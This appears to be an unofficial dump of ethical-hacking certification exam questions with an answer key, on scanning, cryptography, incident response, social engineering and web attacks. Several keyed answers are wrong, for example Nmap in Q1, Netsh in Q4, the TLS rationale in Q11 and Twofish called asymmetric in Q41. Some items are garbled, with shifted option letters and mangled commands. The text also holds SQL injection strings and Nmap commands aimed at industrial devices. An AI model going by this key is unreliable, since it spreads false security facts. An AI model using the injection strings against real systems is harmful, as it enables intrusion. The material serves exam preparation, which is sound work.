Hustle 3

Question 1

Gavin owns a white-hat firm and is performing a website security audit for one of his clients. He begins by running a scan which looks for common misconfigurations and outdated software versions.
Which of the following tools is he most likely using?
A. Nikto
B. Nmap
C. Metasploit
D. Armitage

Answer 1

B. Nmap

Question 2

Which of the following statements is FALSE with respect to Intrusion Detection Systems?
A. Intrusion Detection Systems can be configured to distinguish specific content in network packets
B. Intrusion Detection Systems can easily distinguish a malicious payload in an encrypted traffic
C. Intrusion Detection Systems require constant update of the signature library
D. Intrusion Detection Systems can examine the contents of the data n context of the network protocol

Answer 2

B. Intrusion Detection Systems can easily distinguish a malicious payload in an encrypted traffic

Question 3

While scanning with Nmap, Patin found several hosts which have the IP ID of incremental sequences.
He then decided to conduct: nmap -Pn -p- -si kiosk.adobe.com www.riaa.com. kiosk.adobe.com is the host with incremental IP ID sequence. What is the purpose of using “-si” with Nmap?
A. Conduct stealth scan
B. Conduct ICMP scan
C. Conduct IDLE scan
D. Conduct silent scan

Answer 3

C. Conduct IDLE scan

Question 4

Which command can be used to show the current TCP/IP connections?
A. Netsh
B. Netstat
C. Net use connection
D. Net use

Answer 4

A. Netsh

Question 5

You are analysing traffic on the network with Wireshark. You want to routinely run a cron job which will run the capture against a specific set of IPs - 192.168.8.0/24. What command you would use?
A. wireshark –fetch ‘‘192.168.8*’’
B. wireshark –capture –local masked 192.168.8.0 —range 24
C. tshark -net 192.255.255.255 mask 192.168.8.0
D. sudo tshark -f’‘net 192 .68.8.0/24’’

Answer 5

D. sudo tshark -f’‘net 192 .68.8.0/24’’

Question 6

You are tasked to configure the DHCP server to lease the last 100 usable IP addresses in subnet to.
A. 4.0/23. Which of the following IP addresses could be teased as a result of the new configuration?
B. 210.1.55.200
C. 10.1.4.254
D. 10..1.5.200
E. 10.1.4.156

Answer 6

C. 10.1.4.254

Question 7

You have successfully logged on a Linux system. You want to now cover your trade Your login attempt may be logged on several files located in /var/log. Which file does NOT belongs to the list:
A. user.log
B. auth.fesg
C. wtmp
D. btmp

Answer 7

C. wtmp

Question 8

The tools which receive event logs from servers, network equipment, and applications, and perform analysis and correlation on those logs, and can generate alarms for security relevant issues, are known as what?
A. network Sniffer
B. Vulnerability Scanner
C. Intrusion prevention Server
D. Security incident and event Monitoring

Answer 8

D. Security incident and event Monitoring

Question 9

What is the main security service a cryptographic hash provides?
A. Integrity and ease of computation
B. Message authentication and collision resistance
C. Integrity and collision resistance
D. Integrity and computational in-feasibility

Answer 9

D. Integrity and computational in-feasibility

Question 10

A pen tester is configuring a Windows laptop for a test. In setting up Wireshark, what river and library are required to allow the NIC to work in promiscuous mode?
A. Libpcap
B. Awinpcap
C. Winprom
D. Winpcap

Answer 10

D. Winpcap

Question 11

What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?
A. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.
B. Asymmetric cryptography is computationally expensive in comparison. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.
C. Symmetric encryption allows the server to securely transmit the session keys out-of-band.
D. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.

Answer 11

D. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.

Question 12

When a security analyst prepares for the formal security assessment - what of the following should be done in order to determine inconsistencies in the secure assets database and verify that system is compliant to
the minimum security baseline?
A. Data items and vulnerability scanning
B. Interviewing employees and network engineers
C. Reviewing the firewalls configuration
D. Source code review

Answer 12

A. Data items and vulnerability scanning

Question 13

Why containers are less secure that virtual machines?
A. Host OS on containers has a larger surface attack.
B. Containers may full fill disk space of the host.
C. A compromise container may cause a CPU starvation of the host.
D. Containers are attached to the same virtual network.

Answer 13

A. Host OS on containers has a larger surface attack.

Question 14

These hackers have limited or no training and know how to use only basic techniques or tools.
What kind of hackers are we talking about?
A. Black-Hat Hackers A
B. Script Kiddies
C. White-Hat Hackers
D. Gray-Hat Hacker

Answer 14

B. Script Kiddies

Question 15

Bob, your senior colleague, has sent you a mail regarding a deal with one of the clients. You are requested to accept the offer and you oblige. After 2 days. Bob denies that he had ever sent a mail.
What do you want to ““know”” to prove yourself that it was Bob who had send a mail?
A. Authentication
B. Confidentiality
C. Integrity
D. Non-Repudiation

Answer 15

D. Non-Repudiation

Question 16

In the field of cryptanalysis, what is meant by a “rubber-hose” attack?
A. Attempting to decrypt cipher text by making logical assumptions about the contents of the original plain text.
B. Extraction of cryptographic secrets through coercion or torture.
C. Forcing the targeted key stream through a hardware-accelerated device such as an ASIC.
D. A backdoor placed into a cryptographic algorithm by its creator.

Answer 16

B. Extraction of cryptographic secrets through coercion or torture.

Question 17

What type of analysis is performed when an attacker has partial knowledge of inner-workings of the application?
A. Black-box
B. Announced
C. White-box
D. Grey-box

Answer 17

D. Grey-box

Question 18

Which of the following steps for risk assessment methodology refers to vulnerability identification?
A. Determines if any flaws exist in systems, policies, or procedures
B. Assigns values to risk probabilities; Impact values.
C. Determines risk probability that vulnerability will be exploited (High. Medium, Low)
D. Identifies sources of harm to an IT system. (Natural, Human. Environmental)

Answer 18

C. Determines risk probability that vulnerability will be exploited (High. Medium, Low)

Question 19

Log monitoring tools performing behavioral analysis have alerted several suspicious logins on a Linux server occurring during non-business hours. After further examination of all login activities, it is noticed that none
of the logins have occurred during typical work hours. A Linux administrator who is investigating this problem realizes the system time on the Linux server is wrong by more than twelve hours. What protocol used on
Linux servers to synchronize the time has stopped working?
A. Time Keeper
B. NTP
C. PPP
D. OSPP

Answer 19

B. NTP

Question 20

What is the minimum number of network connections in a multi homed firewall?
A. 3
B. 5
C. 4
D. 2

Answer 20

A. 3

Question 21

Which of the following DoS tools is used to attack target web applications by starvation of available sessions on the web server?
The tool keeps sessions at halt using never-ending POST transmissions and sending an arbitrarily large content-length header value.
A. My Doom
B. Astacheldraht
C. R-U-Dead-Yet?(RUDY)
D. LOIC

Answer 21

C. R-U-Dead-Yet?(RUDY)

Question 22

During the process of encryption and decryption, what keys are shared?
A. Private keys
B. User passwords
C. Public keys
D. Public and private keys

Answer 22

C. Public keys

Question 23

You need a tool that can do network intrusion prevention and intrusion detection, function as a network sniffer, and record network activity, what tool would you most likely select?
A. Nmap
B. Cain & Abel
C. Nessus
D. Snort

Answer 23

D. Snort

Question 24

How is the public key distributed in an orderly, controlled fashion so that the users can be sure of the sender’s identity?
A. Hash value
B. Private key
C. Digital signature
D. Digital certificate

Answer 24

D. Digital certificate

Question 25

The network team has well-established procedures to follow for creating new rules on the firewall.
This includes having approval from a manager prior to implementing any new rules. While reviewing the firewall configuration, you notice a recently implemented rule but cannot locate manager approval for it. What
would be a good step to have in the procedures for a situation like this?
A. Have the network team document the reason why the rule was implemented without prior manager approval.
B. Monitor all traffic using the firewall rule until a manager can approve it.
C. Do not roll back the firewall rule as the business may be relying upon it, but try to get manager approval as soon as possible.
D. Immediately roll back the firewall rule until a manager can approve it

Answer 25

D. Immediately roll back the firewall rule until a manager can approve it

Question 26

The Payment Card Industry Data Security Standard (PCI DSS) contains six different categories of control objectives. Each objective contains one or more requirements, which must be followed in order to achieve
compliance. Which of the following requirements would best fit under the objective, “Implement strong access control measures”?
A. Regularly test security systems and processes.
B. Encrypt transmission of cardholder data across open, public networks.
C. Assign a unique ID to each person with computer access.
D. Use and regularly update anti-virus software on all systems commonly affected by malware.

Answer 26

C. Assign a unique ID to each person with computer access.

Question 27

Nedved is an IT Security Manager of a bank in his country. One day. he found out that there is a security breach to his company’s email server based on analysis of a suspicious connection from the email server to an
unknown IP Address.
What is the first thing that Nedved needs to do before contacting the incident response team?
A. Leave it as it Is and contact the incident response te3m right away
B. Block the connection to the suspicious IP Address from the firewall
C. Disconnect the email server from the network
D. Migrate the connection to the backup email server

Answer 27

C. Disconnect the email server from the network

Question 28

Vlady works in a fishing company where the majority of the employees have very little understanding of IT let alone IT Security. Several information security issues that Vlady often found includes, employees sharing
password, writing his/ her password on a post it note and stick it to his/her desk, leaving the computer unlocked, didn’t log out from emails or other social media accounts, and etc.
After discussing with his boss, Vlady decided to make some changes to improve the security environment in his company. The first thing that Vlady wanted to do is to make the employees understand the importance
of keeping confidential information, such as password, a secret and they should not share it with other persons.
Which of the following steps should be the first thing that Vlady should do to make the employees in his company understand to importance of keeping confidential information a secret?
A. Warning to those who write password on a post it note and put it on his/her desk
B. Developing a strict information security policy
C. Information security awareness training
D. Conducting a one to one discussion with the other employees about the importance of information security

Answer 28

A. Warning to those who write password on a post it note and put it on his/her desk

Question 29

Clark, a professional hacker, was hired by an organization lo gather sensitive Information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whole footprinting.
Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in
the network. What is the online tool employed by
Clark in the above scenario?
A. AOL
B. ARIN
C. DuckDuckGo
D. Baidu

Answer 29

B. ARIN

Question 30

Jim, a professional hacker, targeted an organization that is operating critical Industrial Infrastructure.
Jim used Nmap to scan open pons and running services on systems connected to the organization’s OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further
gathered Information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information?
A. nmap -Pn -sT –scan-delay 1s –max-parallelism 1 -p < Port List > < Target IP >
B. nmap -Pn -sU -p 44818 –script enip-info < Target IP >
C. nmap -Pn -sT -p 46824 < Target IP >
D. nmap -Pn -sT -p 102 –script s7-info < Target IP >

Answer 30

B. nmap -Pn -sU -p 44818 –script enip-info < Target IP >

Question 31

There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol
that was designed to mimic wired encryption, what encryption protocol is being used?
A. WEP
B. RADIUS
C. WPA
D. WPA3

Answer 31

A. WEP

Question 32

Attacker Lauren has gained the credentials of an organization’s internal server system, and she was often logging in during irregular times to monitor the network activities. The organization was skeptical about the
login times and appointed security professional Robert to determine the issue.
Robert analyzed the compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited. What is the incident handling and
response (IH&R) phase, in which
Robert has determined these issues?
A. Preparation
B. Eradication
C. Incident recording and assignment
D. Incident triage

Answer 32

D. Incident triage

Question 33

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure.
He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities. Which phase of the vulnerability-management life cycle is David currently in?
A. verification
B. Risk assessment
C. Vulnerability scan
D. Remediation

Answer 33

D. Remediation

Question 34

Widespread fraud ac Enron. WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that
provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?
A. Fed RAMP
B. PCIDSS
C. SOX
D. HIPAA

Answer 34

C. SOX

Question 35

Robin, a professional hacker, targeted an organization’s network to sniff all the traffic. During this process.
Robin plugged in a rogue switch to an unused port in the LAN with a priority lower than any other switch in the network so that he could make it a root bridge that will later allow him to sniff all the traffic in the
network.
What is the attack performed by Robin in the above scenario?
A. ARP spoofing attack
B. VLAN hopping attack
C. DNS poisoning attack
D. STP attack

Answer 35

D. STP attack

Question 36

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased
all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a Dos attack, and as a result, legitimate employees were unable to access the clients network.
Which of the following attacks did Abel perform in the above scenario?
A. VLAN hopping
B. DHCP starvation
C. Rogue DHCP server attack
D. STP attack

Answer 36

B. DHCP starvation

Question 37

At what stage of the cyber kill chain theory model does data exfiltration occur?
A. Actions on objectives
B. Weaponization
C. installation
D. Command and control

Answer 37

A. Actions on objectives

Question 38

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are
encountered. John decided to perform a TCP SYN ping scan on the target network. Which of the following Nmap commands must John use to perform the TCP SYN ping scan?
A. nmap -sn -pp < target ip address >
B. nmap -sn -PO < target IP address >
C. nmap -sn -PS < target IP address >
D. nmap -sn -PA < target IP address >

Answer 38

C. nmap -sn -PS < target IP address >

Question 39

Ricardo has discovered the username for an application in his targets environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles
them into a list and then feeds that list as an argument into his passwordcracking application, what type of attack is Ricardo performing?
A. Known plaintext
B. Password spraying
C. Brute force
D. Dictionary

Answer 39

D. Dictionary

Question 40

Richard, an attacker, aimed to hack loT devices connected to a target network. In this process.
Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices.
Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the loT network, which repeats the captured signals of the devices. What Is the type of attack performed by Richard In the above scenario?
A. Side-channel attack
B. Replay attack
C. CrypTanalysis attack
D. Reconnaissance attack

Answer 40

B. Replay attack

Question 41

This form of encryption algorithm is asymmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?
A. Twofish encryption algorithm
B. HMAC encryption algorithm
C. IDEA
D. Blowfish encryption algorithm

Answer 41

A. Twofish encryption algorithm

Question 42

Sam is working as a system administrator In an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect Its severity using CVSS v3.0 to property assess and
prioritize the organization’s vulnerability management processes. The base score that Sam obtained after performing cvss rating was 4.0. What is the CVSS severity level of the vulnerability discovered by Sam in the
above scenario?
A. Medium
B. Low
C. Critical
D. High

Answer 42

A. Medium

Question 43

jane invites her friends Alice and John over for a LAN party. Alice and John access Jane’s wireless network without a password. However. Jane has a long, complex password on her router. What attack has likely
occurred?
A. Wireless sniffing
B. Piggybacking
C. Evil twin
D. Wardriving

Answer 43

C. Evil twin

Question 44

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability.
He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that
their systems are exposed to. What type of hacker is Nicolas?
A. Red hat
B. white hat
C. Black hat
D. Gray hat

Answer 44

B. white hat

Question 45

You are a penetration tester tasked with testing the wireless network of your client Brakeme S
A. You are attempting to break into the wireless network with the SSID “Brakeme-lnternal.” You realize that this network uses WPA3 encryption, which of the following vulnerabilities is the promising to exploit?
B. Dragonblood
C. Cross-site request forgery
D. Key reinstallation attack
E. AP Myconfiguration

Answer 45

B. Dragonblood

Question 46

To invisibly maintain access to a machine, an attacker utilizes a toolkit that sits undetected In the core components of the operating system. What is this type of rootkit an example of?
A. Mypervisor rootkit
B. Kernel toolkit
C. Hardware rootkit
D. Firmware rootkit

Answer 46

B. Kernel toolkit

Question 47

Alice needs to send a confidential document to her coworker. Bryan. Their company has public key infrastructure set up. Therefore. Alice both encrypts the message and digitally signs it. Alice uses_______to encrypt
the message, and Bryan uses__________to confirm the digital signature.
A. Bryan’s public key; Bryan’s public key
B. Alice’s public key; Alice’s public key
C. Bryan’s private key; Alice’s public key
D. Bryan’s public key; Alice’s public key

Answer 47

D. Bryan’s public key; Alice’s public key

Question 48

What piece of hardware on a computer’s motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?
A. CPU
B. GPU
C. UEFI
D. TPM

Answer 48

D. TPM

Question 49

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfilltrated by an attacker. AV tools are unable to
find any malicious software, and the IDS/IPS has not reported on any nonwhitelisted programs, what type of malware did the attacker use to bypass the company’s application whitelisting?
A. Phishing malware
B. Zero-day malware
C. File-less malware
D. Logic bomb malware

Answer 49

C. File-less malware

Question 50

Taylor, a security professional, uses a tool to monitor her company’s website, analyze the website’s traffic, and track the geographical location of the users visiting the company’s website. Which of the following tools
did Taylor employ in the above scenario?
A. WebSite Watcher
B. web-Stat
C. Webroot
D. WAFW00F

Answer 50

B. web-Stat

Question 51

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the Integrity of updating and changing dat a. For this purpose, he uses a web service that uses HTTP methods such as PUT.
POST. GET. and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application. What is the type of web-service API mentioned in the above scenario?
A. JSON-RPC
B. SOAP API
C. RESTful API
D. REST API

Answer 51

C. RESTful API

Question 52

Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS
footprinting to gather information about ONS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain
names, computer names. IP addresses. DNS records, and network Who is records. He further exploited this information to launch other sophisticated attacks.
What is the tool employed by Gerard in the above scenario?
A. Knative
B. zANTI
C. Towelroot
D. Bluto

Answer 52

D. Bluto

Question 53

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a
service and later feeds the same session 10 to the target employee. The session ID links the target employee to Boneys account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boneys account. What is the attack performed by Boney in the above scenario?
A. Session donation attack
B. Session fixation attack
C. Forbidden attack
D. CRIME attack

Answer 53

A. Session donation attack

Question 54

Which of the following commands checks for valid users on an SMTP server?
A. RCPT
B. CHK
C. VRFY
D. EXPN

Answer 54

C. VRFY

Question 55

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby
used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session, upon receiving the users request. Bobby manipulated the traffic with the virtual
tower and redirected the victim to a malicious website.
What is the attack performed by Bobby in the above scenario?
A. Wardriving
B. KRACK attack
C. jamming signal attack
D. aLTEr attack

Answer 55

D. aLTEr attack

Question 56

in the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?
A. 3.0-6.9
B. 40-6.0
C. 4.0-6.9
D. 3.9-6.9

Answer 56

C. 4.0-6.9

Question 57

What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?
A. AndroidManifest.xml
B. APK.info
C. resources.asrc
D. classes.dex

Answer 57

A. AndroidManifest.xml

Question 58

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a
trojan on his computer.
what tests would you perform to determine whether his computer Is Infected?
A. Use ExifTool and check for malicious content.
B. You do not check; rather, you immediately restore a previous snapshot of the operating system.
C. Upload the file to VirusTotal.
D. Use netstat and check for outgoing connections to strange IP addresses or domains.

Answer 58

D. Use netstat and check for outgoing connections to strange IP addresses or domains.

Question 59

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB. which contains formal descriptions of all
network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mlb or by entering the DNS library name and Lseries.mlb. He is currently
retrieving information from an MIB that contains object types for workstations and server services. Which of the following types of MIB is accessed by Garry in the above scenario?
A. LNMIB2.MIB
B. WINS.MIB
C. DHCP.MIS
D. MIB_II.MIB

Answer 59

A. LNMIB2.MIB

Question 60

An attacker redirects the victim to malicious websites by sending them a malicious link by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the
victim’s dat a. What type of attack is this?
A. Phishing
B. Vlishing
C. Spoofing
D. DDoS

Answer 60

A. Phishing

Question 61

Steve, an attacker, created a fake profile on a social media website and sent a request to Stell a. Stella was enthralled by Steve’s profile picture and the description given for his profile, and she initiated a conversation
with him soon after accepting the request. After a few days. Sieve started asking about her company details and eventually gathered all the essential information regarding her company. What is the social
engineering technique Steve employed in the above scenario?
A. Diversion theft
B. Baiting
C. Honey trap
D. Piggybacking

Answer 61

C. Honey trap

Question 62

Daniel Is a professional hacker who Is attempting to perform an SQL injection attack on a target website. www.movlescope.com. During this process, he encountered an IDS that detects SQL Injection attempts based on
predefined signatures. To evade any comparison statement, he attempted placing characters such as ‘‘or ‘1’=’1” In any bask injection statement such as “or 1=1.” Identify the evasion technique used by Daniel in the above scenario.
A. Null byte
B. IP fragmentation
C. Char encoding
D. Variation

Answer 62

D. Variation

Question 63

While browsing his Facebook teed, Matt sees a picture one of his friends posted with the caption.
“Learn more about your friends!”, as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate.
Matt responds to the questions on the post, a few days later. Mates bank account has been accessed, and the password has been changed. What most likely happened?
A. Matt inadvertently provided the answers to his security questions when responding to the post.
B. Matt’s bank-account login information was brute forced.
C. Matt Inadvertently provided his password when responding to the post.
D. Matt’s computer was infected with a keylogger.

Answer 63

A. Matt inadvertently provided the answers to his security questions when responding to the post.

Question 64

Jane, an ethical hacker. Is testing a target organization’s web server and website to identity security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete
profile of the site’s directory structure, file structure, external links, images, web pages, and so on. This information helps jane map the website’s directories and gain valuable information.
What is the attack technique employed by Jane in the above scenario?
A. website mirroring
B. Session hijacking
C. Web cache poisoning
D. Website defacement

Answer 64

A. website mirroring

Question 65

An organization is performing a vulnerability assessment tor mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization’s machines to detect
which ports are attached to services such as an email server, a web server or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant
tests. What is the type of vulnerability assessment solution that James employed in the above scenario?
A. Product-based solutions
B. Tree-based assessment
C. Service-based solutions
D. inference-based assessment

Answer 65

D. inference-based assessment

Question 66

Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com. the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site
before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different. What type of attack he is experiencing?.
A. Dos attack
B. DHCP spoofing
C. ARP cache poisoning
D. DNS hijacking

Answer 66

D. DNS hijacking

Question 67

Harry. a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and
exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection. What is the APT lifecycle phase that Harry
is currently executing?
A. Preparation
B. Cleanup
C. Persistence
D. initial intrusion

Answer 67

A. Preparation

Question 68

Sam, a professional hacker. targeted an organization with intention of compromising AWS IAM credentials. He attempted to lure one of the employees of the organization by initiating fake calls while posing as a
legitimate employee.
Moreover, he sent phishing emails to steal the AWS 1AM credentials and further compromise the employee’s account. What is the technique used by Sam to compromise the AWS IAM credentials?
A. Social engineering
B. insider threat
C. Password reuse
D. Reverse engineering

Answer 68

A. Social engineering

Question 69

Ethical hacker jane Smith is attempting to perform an SQL injection attach. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs. which two SQL Injection types would give her the results she is looking for?
A. Out of band and boolean-based
B. Time-based and union-based
C. union-based and error-based
D. Time-based and boolean-based

Answer 69

D. Time-based and boolean-based

Question 70

In order to tailor your tests during a web-application scan, you decide to determine which webserver version is hosting the application. On using the sV flag with Nmap. you obtain the following response:
80/tcp open http-proxy Apache Server 7.1.6what Information-gathering technique does this best describe?
A. WhOiS lookup
B. Banner grabbing
C. Dictionary attack
D. Brute forcing

Answer 70

B. Banner grabbing

Question 71

Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a
URL https://xyz.com/ feed.php?url:externaIsile.com/feed/to to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server.
What is the type of attack Jason performed In the above scenario?
A. website defacement
B. Server-side request forgery (SSRF) attack
C. Web server misconfiguration
D. web cache poisoning attack

Answer 71

B. Server-side request forgery (SSRF) attack

Question 72

Attacker Rony Installed a rogue access point within an organization’s perimeter and attempted to Intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network
that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack. What is the type of
vulnerability assessment performed by Johnson in the above scenario?
A. Distributed assessment
B. Wireless network assessment
C. Most-based assessment
D. Application assessment

Answer 72

B. Wireless network assessment

Question 73

What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?
A. Performing content enumeration using the bruteforce mode and 10 threads
B. Shipping SSL certificate verification
C. Performing content enumeration using a wordlist
D. Performing content enumeration using the bruteforce mode and random file extensions

Answer 73

C. Performing content enumeration using a wordlist

Question 74

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company’s network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers
unencrypted traffic in port UDP 161.
what protocol is this port using and how can he secure that traffic?
A. it is not necessary to perform any actions, as SNMP is not carrying important information.
B. SNMP and he should change it to SNMP V3
C. RPC and the best practice is to disable RPC completely
D. SNMP and he should change it to SNMP v2, which is encrypted

Answer 74

B. SNMP and he should change it to SNMP V3

Question 75

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the IDAP service for sensitive information such as
usernames. addresses, departmental details, and server names to launch further attacks on the target organization.
What is the tool employed by John to gather information from the IDAP service?
A. jxplorer
B. Zabasearch
C. EarthExplorer
D. Ike-scan

Answer 75

A. jxplorer

Question 76

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-2S6. MMAC-SHA384, and ECDSA using a 384-bit elliptic curve.
Which is this wireless security protocol?
A. WPA2 Personal
B. WPA3-Personal
C. WPA2-Enterprise
D. WPA3-Enterprise

Answer 76

D. WPA3-Enterprise

Question 77

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:
Username: attack’ or 1=1 -
Password: 123456 Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?
A. select * from Users where UserName = ‘attack’ ‘ or 1=1 – and UserPassword = ‘123456’
B. select * from Users where UserName = ‘attack’ or 1=1 – and UserPassword = ‘123456’
C. select * from Users where UserName = ‘attack or 1=1 – and UserPassword = ‘123456’
D. select * from Users where UserName = ‘attack’ or 1=1 –’ and UserPassword = ‘123456’

Answer 77

D. select * from Users where UserName = ‘attack’ or 1=1 –’ and UserPassword = ‘123456’

Question 78

A newly joined employee. Janet, has been allocated an existing system used by a previous employee.
Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also
Identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. What is the type of vulnerability assessment performed by Martin?
A. Credentialed assessment
B. Database assessment
C. Host-based assessment
D. Distributed assessment

Answer 78

C. Host-based assessment

Question 79

During the enumeration phase. Lawrence performs banner grabbing to obtain information such as OS details and versions of services running. The service that he enumerated runs directly on TCP port 445.
Which of the following services is enumerated by Lawrence in this scenario?
A. Server Message Block (SMB)
B. Network File System (NFS)
C. Remote procedure call (RPC)
D. Telnet

Answer 79

A. Server Message Block (SMB)

Question 80

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range
communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m.
What is the short-range wireless communication technology George employed in the above scenario?
A. MQTT
B. LPWAN
C. Zigbee
D. NB-IoT

Answer 80

C. Zigbee

Question 81

Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP tailback or push APIs that are raised based on trigger events:
when invoked, this feature supplies data to other applications so that users can instantly receive real-time Information.
Which of the following techniques is employed by Susan?
A. web shells
B. Webhooks
C. REST API
D. SOAP API

Answer 81

B. Webhooks

Question 82

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical
support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual
commands and install malicious files, which were then used to collect and pass critical Information to Johnson’s machine. What is the social engineering technique Steve employed in the above scenario?
A. Quid pro quo
B. Diversion theft
C. Elicitation
D. Phishing

Answer 82

A. Quid pro quo

Question 83

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may Bypass authentication and allow attackers to access and/or modify data attached to a web application.
Which of the following SQLI types leverages a database server’s ability to make DNS requests to pass data to an attacker?
A. Union-based SQLI
B. Out-of-band SQLI
C. ln-band SQLI
D. Time-based blind SQLI

Answer 83

B. Out-of-band SQLI

Question 84

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.
Which of the following host discovery techniques must he use to perform the given task?
A. UDP scan
B. TCP Maimon scan
C. arp ping scan
D. ACK flag probe scan

Answer 84

C. arp ping scan

Question 85

Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company.
After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a
computer technician. Jane promptly replied positively. Ralph entered Jane’s company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important
documents in desks, and rummaging bins. What is the type of attack technique Ralph used on jane?
A. Dumpster diving
B. Eavesdropping
C. Shoulder surfing
D. impersonation

Answer 85

D. impersonation

Question 86

Alice, a professional hacker, targeted an organization’s cloud services. She infiltrated the targets MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts
and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to
launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in the above scenario?
A. Cloud hopper attack
B. Cloud cryptojacking
C. Cloudborne attack
D. Man-in-the-cloud (MITC) attack

Answer 86

A. Cloud hopper attack

Question 87

